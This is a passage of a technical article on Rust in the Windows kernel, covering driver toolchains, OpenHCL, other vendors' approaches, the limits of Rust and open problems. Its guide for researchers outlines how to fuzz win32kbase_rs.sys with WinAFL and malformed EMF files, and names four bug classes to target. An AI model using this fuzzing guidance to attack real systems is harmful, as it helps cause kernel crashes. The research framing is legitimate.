&lt;p&gt;The &lt;code&gt;cargo-wdk&lt;/code&gt; subcommand wraps &lt;code&gt;link.exe&lt;/code&gt;, &lt;code&gt;inf2cat&lt;/code&gt;, and &lt;code&gt;signtool&lt;/code&gt; so &lt;code&gt;cargo build&lt;/code&gt; does the right thing in a developer-mode signed driver workflow. November 2025: &lt;code&gt;cargo-wdk&lt;/code&gt; became publishable on crates.io [@techcommunity-rust-drivers]. The companion samples repository &lt;code&gt;microsoft/Windows-rust-driver-samples&lt;/code&gt; provides Rust ports of the canonical Windows Driver Samples for KMDF and UMDF [@windows-rust-samples].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The &lt;code&gt;windows-drivers-rs&lt;/code&gt; README is explicit: &quot;still in early stages of development and is not yet recommended for production use&quot; [@windows-drivers-rs]. Treat the crate suite as a developer-preview toolchain. KMDF 1.33-era bindings are on crates.io; WDM and UMDF are possible with &lt;code&gt;wdk-build&lt;/code&gt; modification. LLVM 17 is pinned because LLVM 18 has an ARM64 bindgen bug.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.4 OpenVMM, OpenHCL, and Hyperlight -- the virtualization-side Rust&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;microsoft/openvmm&lt;/code&gt; is a modular, cross-platform Virtual Machine Monitor written in Rust. The README is candid about scope: OpenVMM &quot;can function as a traditional VMM, [but] OpenVMM&apos;s development is currently focused on its role in the OpenHCL paravisor&quot; [@openvmm-github; @openvmm-guide]. OpenHCL is the Rust paravisor for &lt;a href=&quot;https://paragmali.com/blog/inside-azure-confidential-vms-sev-snp-intel-tdx-and-the-para/&quot; rel=&quot;noopener&quot;&gt;AMD SEV-SNP and Intel TDX confidential virtual machines&lt;/a&gt; -- a guest-side software component that sits between the hardware-isolated VM and the host, mediating the small set of operations that have to round-trip [@phoronix-openhcl]. Hyperlight is Microsoft&apos;s Azure-side micro-VMM for very-low-latency function execution, with cold-start times in the low millisecond range [@newstack-russinovich].&lt;/p&gt;

A common confusion: OpenVMM is *not* the production [Hyper-V VSP (Virtualisation Service Provider) front-end](/blog/hyper-v-enlightenments-vmbus-and-the-synthetic-device-model/) that ships inside Windows 11 24H2. OpenVMM is a separate Rust VMM whose primary production deployment in 2026 is as the OpenHCL paravisor for confidential VMs in Azure [@openvmm-github]. The Rust status of the in-Windows Hyper-V VSP front-end has not been publicly announced; we treat it as Open Problem P6 in section 9.
&lt;h3&gt;6.5 The first in-box Rust drivers (Surface)&lt;/h3&gt;
&lt;p&gt;In July 2025, Microsoft&apos;s Surface team confirmed that several new Copilot+ Surface PCs ship with drivers written in Rust [@winbuzzer-surface; @thurrott-rust]. The drivers are &lt;em&gt;Microsoft-internal&lt;/em&gt; -- shipped under the Surface OEM identity, signed through Microsoft&apos;s own driver-signing keys, exempted from the WHCP path that third parties must traverse. &lt;em&gt;The Register&lt;/em&gt;, reporting in September 2025, summarised the third-party status: &quot;There is also work underway to use Rust in the Windows kernel itself, some of which shipped in Windows 11 24H2&quot; but no production third-party Rust driver has yet shipped under WHCP, because CodeQL&apos;s Rust support is in public preview at version 2.22.1 and the WHCP-validated version is still 2.21.4 [@register-2025-09-04].&lt;/p&gt;
&lt;h3&gt;6.6 The toolchain itself&lt;/h3&gt;
&lt;p&gt;The toolchain is the boring foundation that makes everything above possible. The shape, as of mid-2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Compiler:&lt;/strong&gt; a recent stable &lt;code&gt;rustc&lt;/code&gt; plus the MSVC linker. No specific minimum version is pinned by the public README; the LLVM dependency through &lt;code&gt;bindgen&lt;/code&gt; is what determines the version floor [@windows-drivers-rs].Earlier coverage has speculated about a &quot;rustc 1.72+&quot; minimum version pin for the Microsoft kernel target. We have not found a first-party Microsoft source that pins this exact number. The README pins LLVM 17 (the bindgen LLVM, not the rustc LLVM) and is silent on the rustc minimum version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Target:&lt;/strong&gt; a custom &lt;code&gt;no_std&lt;/code&gt; kernel target, not upstreamed to &lt;code&gt;rust-lang/rust&lt;/code&gt;. Third-party reproducibility is therefore limited.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bindings:&lt;/strong&gt; bindgen-generated &lt;code&gt;extern &quot;system&quot;&lt;/code&gt; declarations from WDK headers; LLVM 17 pinned because of the LLVM 18 ARM64 bug.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Allocator:&lt;/strong&gt; &lt;code&gt;wdk-alloc&lt;/code&gt; implementing &lt;code&gt;GlobalAlloc&lt;/code&gt; over &lt;code&gt;ExAllocatePool2&lt;/code&gt; / &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Panic handler:&lt;/strong&gt; &lt;code&gt;wdk-panic&lt;/code&gt; with &lt;code&gt;panic = &quot;abort&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build orchestration:&lt;/strong&gt; &lt;code&gt;cargo-wdk&lt;/code&gt; plus &lt;code&gt;cargo-make&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification:&lt;/strong&gt; MIRI (where the code is portable enough to interpret), Driver Verifier (always-on inside the kernel test loop), OneFuzz and WinAFL for fuzzing, CodeQL with Rust support in public preview.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Russinovich announced at RustConf 2025 that Microsoft is also working on a &quot;Cargo plugin for MSBuild,&quot; which would let MSBuild-driven internal builds invoke &lt;code&gt;cargo&lt;/code&gt; cleanly [@newstack-russinovich]. Across Microsoft, Rust shows up in many places beyond Windows: SymCrypt-in-Rust, the Project Mu firmware effort, Azure Caliptra, the Azure Integrated HSM, and components of Azure Data Explorer all use Rust today [@infoq-russinovich]. The cross-context Microsoft Rust footprint is much larger than the in-Windows-kernel footprint alone, which gives the kernel effort upstream pressure to keep evolving.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s posture is articulated and shipping. Is this a Microsoft idiosyncrasy or a cross-vendor convergence?&lt;/p&gt;
&lt;h2&gt;7. Linux, Android, Apple, CHERI: The Cross-Vendor Picture&lt;/h2&gt;
&lt;p&gt;Microsoft is not alone. The convergence is industry-wide -- with structurally different details per vendor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rust for Linux.&lt;/strong&gt; Under maintainer Miguel Ojeda, Rust support landed in mainline Linux 6.1 in December 2022 [@rust-for-linux]. The &quot;experimental&quot; label was removed in late 2025. In-tree Rust drivers today include the AMCC QT2025 PHY, Android Binder, the ASIX PHY, DRM Panic QR, the Nova GPU driver (a long-term NVIDIA-replacement effort), Null Block, and the Tyr GPU; out-of-mainline-tree work includes the Apple AGX driver shipping on Asahi Linux, NVMe, and PuzzleFS [@rust-for-linux]. The structural difference from Microsoft&apos;s path is upstream: Linux &lt;em&gt;forbids&lt;/em&gt; bindgen for in-tree drivers. Every Rust binding to a kernel C struct or function must be hand-reviewed and accepted onto LKML. The acceptance criteria are public; the upstream community has been contested -- Wedson Almeida Filho resigned in September 2024 citing non-technical conflicts -- but the project continues under Ojeda and the kernel maintainers&apos; summit has reaffirmed it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Android.&lt;/strong&gt; Google&apos;s September 2024 &quot;Eliminating Memory Safety Vulnerabilities at the Source&quot; post is the empirical anchor for this article&apos;s policy claim [@google-android-2024]. The numbers we summarised in section 5 (76% in 2019 to 24% in 2024) come from this post. The strategy is identical to Microsoft&apos;s: write new code in Rust, leave most existing C and C++ alone, observe the long-run share of memory-safety bugs drop as the old code stops being modified. Android is the proof of concept that the new-code policy works at scale.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Apple.&lt;/strong&gt; No public kernel-Rust commitment. XNU, Darwin, and IOKit remain C, C++, and Swift. The Asahi GPU project -- which lets Apple Silicon Macs boot Linux with full GPU acceleration -- is written in Rust and runs Apple hardware. But that is Rust running on Linux on Apple silicon, not Rust in Apple&apos;s own operating system. As of mid-2026, Apple has not publicly announced a Rust-in-kernel program.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CHERI and CHERIoT.&lt;/strong&gt; The structural alternative to &quot;Rust for new code&quot; is &quot;capability hardware that enforces memory safety on every dereference, including for legacy C and C++.&quot; CHERI is the Cambridge and SRI International project that extends conventional instruction set architectures with capability pointers -- tagged, bounded, monotonic references that the hardware checks at every load and store [@cheri-cambridge]. Arm&apos;s Morello prototype processor, released in January 2022, is the first commercial-class implementation. CHERIoT is Microsoft&apos;s microcontroller adaptation, a CHERI-extended RISC-V profile aimed at embedded and IoT workloads [@cheriot-org]. The CHERIoT RTOS lives at &lt;code&gt;microsoft/cheriot-rtos&lt;/code&gt; [@cheriot-rtos-ms]. Structurally CHERI is different from Rust: it does not require a language rewrite, because the hardware enforces spatial and temporal safety on whatever language emits the pointers. Microsoft maintains both lines in parallel -- Rust for general-purpose Windows code, CHERIoT for embedded silicon -- and the two paths are complementary at the platform level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Project Verona.&lt;/strong&gt; Still alive as Microsoft Research [@verona-github; @verona-msr]. Publications at OOPSLA and PLDI. Not productising. Region-based concurrent ownership answers a different question from Rust&apos;s per-object model. Verona&apos;s value to the kernel-Rust effort was the academic credibility it lent the safer-systems-language thread; as a productisation candidate it remains unpursued.&lt;/p&gt;

flowchart LR
  subgraph Windows
    W1[&quot;win32kbase_rs.sys&lt;br /&gt;Rust GDI/EMF&quot;]
    W2[&quot;windows-drivers-rs&lt;br /&gt;preview&quot;]
    W3[&quot;CHERIoT for IoT&lt;br /&gt;MSR plus partners&quot;]
    W4[&quot;HVCI, CFG, CET&lt;br /&gt;mitigations stack&quot;]
  end
  subgraph Linux
    L1[&quot;Rust for Linux&lt;br /&gt;mainline since 6.1&quot;]
    L2[&quot;Hand-reviewed bindings&lt;br /&gt;no bindgen in-tree&quot;]
  end
  subgraph Android
    A1[&quot;New code in Rust&lt;br /&gt;76 percent to 24 percent&quot;]
    A2[&quot;Existing C / C++&lt;br /&gt;left in place&quot;]
  end
  subgraph Apple
    AP1[&quot;XNU in C and C plus plus&lt;br /&gt;no public Rust commitment&quot;]
    AP2[&quot;Asahi GPU in Rust&lt;br /&gt;on Linux&quot;]
  end
  subgraph Hardware
    H1[&quot;Arm Morello&lt;br /&gt;CHERI prototype 2022&quot;]
    H2[&quot;CHERIoT silicon&quot;]
  end
  W1 --&amp;gt; Common[&quot;memory-safe by default&lt;br /&gt;for new code&lt;br /&gt;plus targeted rewrites&quot;]
  W2 --&amp;gt; Common
  L1 --&amp;gt; Common
  A1 --&amp;gt; Common
  Common --&amp;gt; Defense[&quot;defence in depth&lt;br /&gt;with mitigations stack&lt;br /&gt;plus CHERI hardware where available&quot;]
  W3 --&amp;gt; Defense
  W4 --&amp;gt; Defense
  H1 --&amp;gt; Defense
  H2 --&amp;gt; Defense
&lt;p&gt;The pattern across the table is consistent. Every major operating-system vendor&apos;s safest forward path is some combination of (Rust for new code) + (CHERI-class hardware capabilities where the silicon supports them) + (the existing mitigations stack as defence-in-depth). No vendor is rewriting wholesale. The vendors differ on bindgen-versus-hand-written bindings, on in-tree process discipline, on capability-hardware availability, and on the relative weight of the three threads. They agree on the shape.&lt;/p&gt;
&lt;p&gt;A compact decision matrix may help architects compare the seven approaches that were considered in the source survey.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Closes bug class&lt;/th&gt;
&lt;th&gt;Worst-case crash&lt;/th&gt;
&lt;th&gt;Hardware requirement&lt;/th&gt;
&lt;th&gt;Production in Win 11 24H2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Legacy C/C++ with &lt;code&gt;/GS&lt;/code&gt;, DEP, ASLR, CFG, CET&lt;/td&gt;
&lt;td&gt;No (raises cost)&lt;/td&gt;
&lt;td&gt;Memory corruption to exploitation&lt;/td&gt;
&lt;td&gt;None (CET on Tiger Lake+)&lt;/td&gt;
&lt;td&gt;Yes (default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rust in-kernel modules&lt;/td&gt;
&lt;td&gt;Yes (covered modules)&lt;/td&gt;
&lt;td&gt;Rust panic to kernel BSOD&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Yes (&lt;code&gt;win32kbase_rs.sys&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;windows-drivers-rs&lt;/code&gt; for third-party drivers&lt;/td&gt;
&lt;td&gt;Yes (per module)&lt;/td&gt;
&lt;td&gt;Driver panic to bugcheck&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Preview only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CHERI / Arm Morello capability hardware&lt;/td&gt;
&lt;td&gt;Yes (all pointers, all languages)&lt;/td&gt;
&lt;td&gt;Capability fault, process aborted&lt;/td&gt;
&lt;td&gt;Yes (Morello, CHERIoT)&lt;/td&gt;
&lt;td&gt;No (embedded only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verification (MIRI, RustBelt, formal proofs)&lt;/td&gt;
&lt;td&gt;Yes (where proofs cover)&lt;/td&gt;
&lt;td&gt;Caught at build time&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Tooling only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenVMM / OpenHCL (Rust paravisor)&lt;/td&gt;
&lt;td&gt;Yes (paravisor surface)&lt;/td&gt;
&lt;td&gt;Paravisor panic in confidential VM&lt;/td&gt;
&lt;td&gt;TDX or SEV-SNP CPU&lt;/td&gt;
&lt;td&gt;Yes (Azure confidential VMs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI-assisted C-to-Rust migration&lt;/td&gt;
&lt;td&gt;Aspirational&lt;/td&gt;
&lt;td&gt;Per migrated module&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Research only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The convergence is real. The strategy is articulated. So what &lt;em&gt;cannot&lt;/em&gt; Rust-in-kernel do, even when everything goes right?&lt;/p&gt;
&lt;h2&gt;8. Four Theoretical Limits Rust-in-Kernel Cannot Escape&lt;/h2&gt;
&lt;p&gt;This section is the corrective. Even when everything goes right, Rust-in-kernel runs into four principled limits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 1: the &lt;code&gt;unsafe&lt;/code&gt; boundary is irreducible.&lt;/strong&gt; Any Rust module that interoperates with the C kernel must call into it; the FFI is &lt;code&gt;unsafe&lt;/code&gt; by construction. The safety guarantee is exactly as strong as the audit of the &lt;code&gt;unsafe&lt;/code&gt; blocks. This is not a flaw in Rust; it is a property of &lt;em&gt;any&lt;/em&gt; safe-language-in-an-unsafe-substrate adoption. Inside &lt;code&gt;unsafe&lt;/code&gt;, Rust does not check what you do; it trusts the human review. The audit therefore has to be load-bearing. The &lt;code&gt;windows-drivers-rs&lt;/code&gt; README&apos;s statement that &quot;drivers ... still need to make use of unsafe blocks for interacting with the Windows operating system&quot; is the candid admission of this limit [@windows-drivers-rs; @register-2025-09-04].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 2: a Rust panic at high IRQL is a kernel bugcheck.&lt;/strong&gt; Because &lt;code&gt;panic = &quot;abort&quot;&lt;/code&gt; is the only sound policy for &lt;code&gt;no_std&lt;/code&gt; kernel binaries, and because at IRQL ≥ DISPATCH_LEVEL the kernel has nowhere to send a panic except the system-wide bugcheck, a correctly-fired Rust safety check in kernel context becomes a BSOD. Check Point&apos;s &quot;Denial of Fuzzing&quot; disclosure is dispositive: Rust correctly &lt;em&gt;detected&lt;/em&gt; the out-of-bounds access, but the operational response was &lt;code&gt;SYSTEM_SERVICE_EXCEPTION&lt;/code&gt; [@checkpoint-dof; @cybersecuritynews]. Rust transforms memory-corruption CVEs into denial-of-service CVEs in the kernel context. It does &lt;em&gt;not&lt;/em&gt; eliminate the CVE class.&lt;/p&gt;
&lt;p&gt;Russinovich framed this limit as a feature, not a bug, at RustConf 2025:&lt;/p&gt;

This we view as a success ... a bug that would have actually resulted in a potential elevation of privilege, as opposed to a blue screen crash. -- Mark Russinovich, RustConf 2025 [@newstack-russinovich].
&lt;p&gt;He is right operationally. A BSOD is far cheaper than a remote code execution. But the &lt;em&gt;CVE class&lt;/em&gt; did not vanish; it shifted. The new class is &quot;panic-in-kernel-context, denial of service.&quot; That is the bug class that any future Rust-in-kernel security architect has to plan for.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 3: the legacy C and C++ kernel -- roughly thirty million lines on common engineering estimates -- will not be rewritten on any plausible timeline.&lt;/strong&gt; Even Galen Hunt&apos;s &quot;1 engineer, 1 month, 1 million lines of code&quot; research aspiration -- explicitly clarified by Hunt himself as research, not a corporate mandate -- would require sustained multi-decade effort to clear the whole kernel [@register-2025-12-24; @infoworld-not-rewriting; @windowslatest-galen]. Realistically the kernel will keep most of its existing C and C++ for the foreseeable future. The wins come from partial rewrites of high-blast-radius modules plus the new-code policy. &lt;em&gt;Existing modules that do not change do not need to be rewritten to benefit from the new-code policy&lt;/em&gt; -- that is the Android empirical observation [@google-android-2024] -- but they remain potential bug-class carriers nonetheless.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 4: Rust + &lt;code&gt;unsafe&lt;/code&gt; cannot beat hardware capabilities on every bug class.&lt;/strong&gt; CHERI and CHERIoT detect spatial and temporal memory-safety violations at every pointer dereference, including across the C and C++ legacy substrate that language-level approaches cannot rewrite [@cheri-cambridge; @cheriot-org].Spatial safety means accesses stay within an object&apos;s bounds; temporal safety means accesses do not touch freed objects. CHERI capabilities enforce both at the hardware ISA level for every load and store. The most defensible posture combines Rust for new code with CHERI-class hardware where the silicon supports it. Rust is necessary; on legacy code, it is not sufficient. The CHERIoT line at Microsoft (the &lt;code&gt;microsoft/cheriot-rtos&lt;/code&gt; repository [@cheriot-rtos-ms]) is the explicit acknowledgement that Microsoft is investing in both layers because neither alone closes the question.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Rust transforms memory-corruption CVEs into denial-of-service CVEs in the kernel context. It does not eliminate the CVE class -- and that is still a major win, but it is the actual win, not the marketing one.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the policy is sound but the limits are real, what does the next decade actually look like in numbers and named open problems?&lt;/p&gt;
&lt;h2&gt;9. The 2026 Frontier and the Ten-Year Trajectory&lt;/h2&gt;
&lt;p&gt;Open problems matter when they are named. The state-of-the-art survey identified eight; each gets a paragraph here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P1. The public corpus size of in-kernel Rust.&lt;/strong&gt; The most recent first-party Microsoft figure remains the April 2023 number quoted to &lt;em&gt;The Register&lt;/em&gt;: about 36,000 lines of Rust in &lt;code&gt;win32kbase_rs.sys&lt;/code&gt; [@register-2023-04-27]. There has been no first-party refresh since. Any 2026 line-of-code claim greater than this -- including the &quot;over 100,000 lines&quot; framing that has circulated in secondary press -- is unsourced. We treat it as an open question.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P2. Upstreaming the &lt;code&gt;no_std&lt;/code&gt; kernel target.&lt;/strong&gt; Microsoft&apos;s Rust kernel target is not in &lt;code&gt;rust-lang/rust&lt;/code&gt;. Third-party driver developers cannot reproduce the toolchain exactly without internal Microsoft assets. The &lt;code&gt;windows-drivers-rs&lt;/code&gt; repository contains the public-facing crates and the &lt;code&gt;cargo-wdk&lt;/code&gt; build orchestration, but the underlying compilation target is private [@windows-drivers-rs]. Upstreaming it would let external WHCP-bound driver authors build against the same toolchain as Microsoft&apos;s in-box drivers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P3. WHCP and driver certification.&lt;/strong&gt; As of September 2025, CodeQL supports Rust at version 2.22.1 (public preview), while only version 2.21.4 is &quot;validated for use with WHCP&quot; [@register-2025-09-04]. No production third-party Rust driver has yet shipped through WHCP. The certification path is being assembled in public; it is not yet open for production third-party submissions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P4. Panic-as-BSOD mitigation.&lt;/strong&gt; This is the Check Point bug class -- a correct Rust safety check in kernel context becomes a system-wide bugcheck [@checkpoint-dof]. The options are imperfect. Unwinding instead of aborting is unsound at high IRQL because the unwinder needs to run code that may itself page-fault. IRQL-aware fallbacks (degrade gracefully when at high IRQL, panic when at PASSIVE_LEVEL) are doable but add complexity. More conservative bounds-checking patterns in hot paths can reduce the panic surface but cannot eliminate it. This is an active research and engineering frontier.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P5. Mechanised formal verification of kernel &lt;code&gt;unsafe&lt;/code&gt; blocks.&lt;/strong&gt; RustBelt-grade proofs exist for specific libraries [@rustbelt-popl-page]. Production-scale verification of arbitrary kernel &lt;code&gt;unsafe&lt;/code&gt; is open. The proof obligations are statable thanks to the RustBelt framework; discharging them at production scale across an entire driver&apos;s worth of &lt;code&gt;unsafe&lt;/code&gt; blocks is not yet routine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P6. The Hyper-V VSP migration.&lt;/strong&gt; OpenVMM is in flight as the modular cross-platform Rust VMM whose primary deployment in 2026 is the OpenHCL paravisor [@openvmm-github; @phoronix-openhcl]. The in-Windows Hyper-V VSP front-end&apos;s Rust status is unannounced. This is the Stage-3 P6 open problem; the article does not assert that the production Hyper-V VSP has been migrated.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P7. AI-assisted migration.&lt;/strong&gt; Galen Hunt&apos;s &quot;1 engineer, 1 month, 1 million lines of code&quot; target is the headline aspiration [@register-2025-12-24]. The methodological dependencies are non-trivial. Code-graph construction has to be accurate. AI translation quality has to be high. Semantic-equivalence preservation has to be checkable. Manual-intervention burden at the unsafe-FFI boundary will be significant. Recent academic work on type-directed C-to-safe-Rust translation -- &lt;em&gt;Compiling C to Safe Rust, Formalized&lt;/em&gt; (Fromherz and Protzenko, OOPSLA 2026) -- shows what mechanical, proof-grade translation looks like for restricted subsets [@arxiv-c-to-rust], and that is the direction Russinovich has framed as preferred over LLM-only approaches.&lt;/p&gt;

On 24 December 2025, Galen Hunt&apos;s LinkedIn post -- *&quot;My goal is to eliminate every line of C and C++ from Microsoft by 2030 ... Our North Star is 1 engineer, 1 month, 1 million lines of code&quot;* -- was reported by *The Register* under the headline &quot;Microsoft wants to replace its entire C and C++ codebase&quot; [@register-2025-12-24]. The press cycle briefly suggested Microsoft was rewriting Windows in Rust. Within days, the picture was corrected. Hunt&apos;s own clarification: &quot;My team&apos;s project is a research project. We are building tech to make migration from language to language possible. ... [The intent was] to find like-minded engineers, not to set a new strategy for Windows 11+ or to imply that Rust is an endpoint&quot; [@infoworld-not-rewriting]. Microsoft&apos;s communications head Frank X. Shaw confirmed to Windows Latest that the company has no plans to rewrite Windows 11 using AI [@windowslatest-galen]. The &quot;1 / 1 / 1M&quot; project is a research aspiration inside the CoreAI group, not a Windows roadmap. Several outlets republished without that correction; the *InfoWorld* and *Windows Latest* pieces are the load-bearing references for the accurate framing.
&lt;p&gt;&lt;strong&gt;P8. Ten-year trajectory.&lt;/strong&gt; Three independent dynamics will determine the shape: Microsoft&apos;s conversion rate of existing high-blast-radius modules, the rate at which &lt;em&gt;new&lt;/em&gt; code is written in Rust by default, and the empirical Android curve as a reference point [@google-android-2024]. The conclusion is not that the legacy kernel will be rewritten. The conclusion is that the &lt;em&gt;share&lt;/em&gt; of memory-safety CVEs in Windows is likely to follow a trajectory shaped like Android&apos;s -- a multi-year decline driven by new-code-in-Rust plus targeted rewrites, with the absolute floor set by the residual &lt;code&gt;unsafe&lt;/code&gt; audit surface at the FFI boundary and the not-rewritten C and C++ that retains some level of new development.&lt;/p&gt;
&lt;p&gt;Quick reference for the questions almost everyone asks comes next. First, what you can do on Monday.&lt;/p&gt;
&lt;h2&gt;10. Practical Guide&lt;/h2&gt;
&lt;p&gt;Four audiences. Each gets a subsection.&lt;/p&gt;
&lt;h3&gt;10.1 For Windows-internals and security researchers&lt;/h3&gt;
&lt;p&gt;Identifying Rust-implemented kernel binaries is the first step. The Microsoft internal convention is the &lt;code&gt;_rs&lt;/code&gt; suffix; the canonical example is &lt;code&gt;%SystemRoot%\System32\win32kbase_rs.sys&lt;/code&gt;. The fastest verification:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Open PowerShell on any Windows 11 24H2 machine and run: &lt;code&gt;Get-Item C:\Windows\System32\win32kbase_rs.sys&lt;/code&gt;. If the file is present, you are running a Windows with kernel-mode Rust code today.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{&lt;code&gt;// Demonstrates the logic of:  Test-Path &quot;\$env:SystemRoot\\System32\\win32kbase_rs.sys&quot; const knownRustKernelBinaries = [&quot;win32kbase_rs.sys&quot;]; // Insider Preview 25905 (July 12, 2023) and later const systemRoot = &quot;C:\\\\Windows&quot;; const found = knownRustKernelBinaries.map(b =&amp;gt; systemRoot + &quot;\\\\System32\\\\&quot; + b); for (const path of found) {   console.log(&quot;Expected: &quot; + path); } console.log(&quot;On a real Windows 11 24H2 install, this file is present.&quot;);&lt;/code&gt;}&lt;/p&gt;
&lt;p&gt;Reverse engineering: dumping strings against &lt;code&gt;win32kbase_rs.sys&lt;/code&gt; will surface Rust panic markers like &lt;code&gt;panic_bounds_check&lt;/code&gt;, &lt;code&gt;core::panicking::panic&lt;/code&gt;, and &lt;code&gt;core::result::unwrap_failed&lt;/code&gt; -- the names the Rust standard library inserts when bounds checks or &lt;code&gt;Option::unwrap&lt;/code&gt; calls misfire [@cybersecuritynews]. The Rust v0 name mangling scheme starts with &lt;code&gt;_R&lt;/code&gt; and uses a Punycode-derived encoding for non-ASCII characters [@rust-rfc-2603]; tools that understand the scheme (recent IDA, recent Ghidra, &lt;code&gt;rustfilt&lt;/code&gt;) demangle it. Functions like &lt;code&gt;region_from_path_mut&lt;/code&gt; will appear in the binary as mangled &lt;code&gt;_R...&lt;/code&gt; symbols.&lt;/p&gt;
&lt;p&gt;For reproducing Check Point&apos;s &quot;Denial of Fuzzing&quot; methodology: the public write-up names WinAFL plus WinAFL-Pet as the orchestration tier, with crafted EMF and EMF+ metafile corpora driving &lt;code&gt;NtGdiSelectClipPath&lt;/code&gt; and other Win32k entry points; BugId handles crash triage; MemProcFS handles memory-dump forensics [@checkpoint-dof]. The toolchain is reproducible on a research VM.&lt;/p&gt;

The Check Point harness suggests four productive bug-class targets when fuzzing the Rust kernel surface: (1) `panic_bounds_check` firings at array-indexing sites in geometry pipelines; (2) integer-overflow-checked-arithmetic divergences from C++ behaviour (Rust panics on overflow in debug builds, wraps in release -- check your build profile); (3) allocator-out-of-memory at the `wdk-alloc` boundary, where `ExAllocatePool2` can return `NULL` under pressure; (4) mismatches at `unsafe`-block invariants where a Rust safe wrapper trusts an assertion the C kernel does not actually guarantee.
&lt;h3&gt;10.2 For Windows driver developers evaluating Rust&lt;/h3&gt;
&lt;p&gt;The setup recipe for &lt;code&gt;windows-drivers-rs&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Clone &lt;code&gt;microsoft/windows-drivers-rs&lt;/code&gt; and &lt;code&gt;microsoft/Windows-rust-driver-samples&lt;/code&gt; [@windows-drivers-rs; @windows-rust-samples].&lt;/li&gt;
&lt;li&gt;Install a recent stable &lt;code&gt;rustc&lt;/code&gt; with the &lt;code&gt;x86_64-pc-windows-msvc&lt;/code&gt; toolchain.&lt;/li&gt;
&lt;li&gt;Install the Windows Driver Kit (WDK) from Microsoft Learn.&lt;/li&gt;
&lt;li&gt;Install LLVM 17. &lt;em&gt;Not&lt;/em&gt; LLVM 18 (ARM64 bindgen bug); LLVM 19 is the awaited fix [@windows-drivers-rs].&lt;/li&gt;
&lt;li&gt;Install &lt;code&gt;cargo-make&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Enter an eWDK developer prompt so MSBuild and the WDK environment variables are present.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cargo install cargo-wdk&lt;/code&gt; (or take the version published on crates.io as of November 2025) [@techcommunity-rust-drivers].&lt;/li&gt;
&lt;/ol&gt;
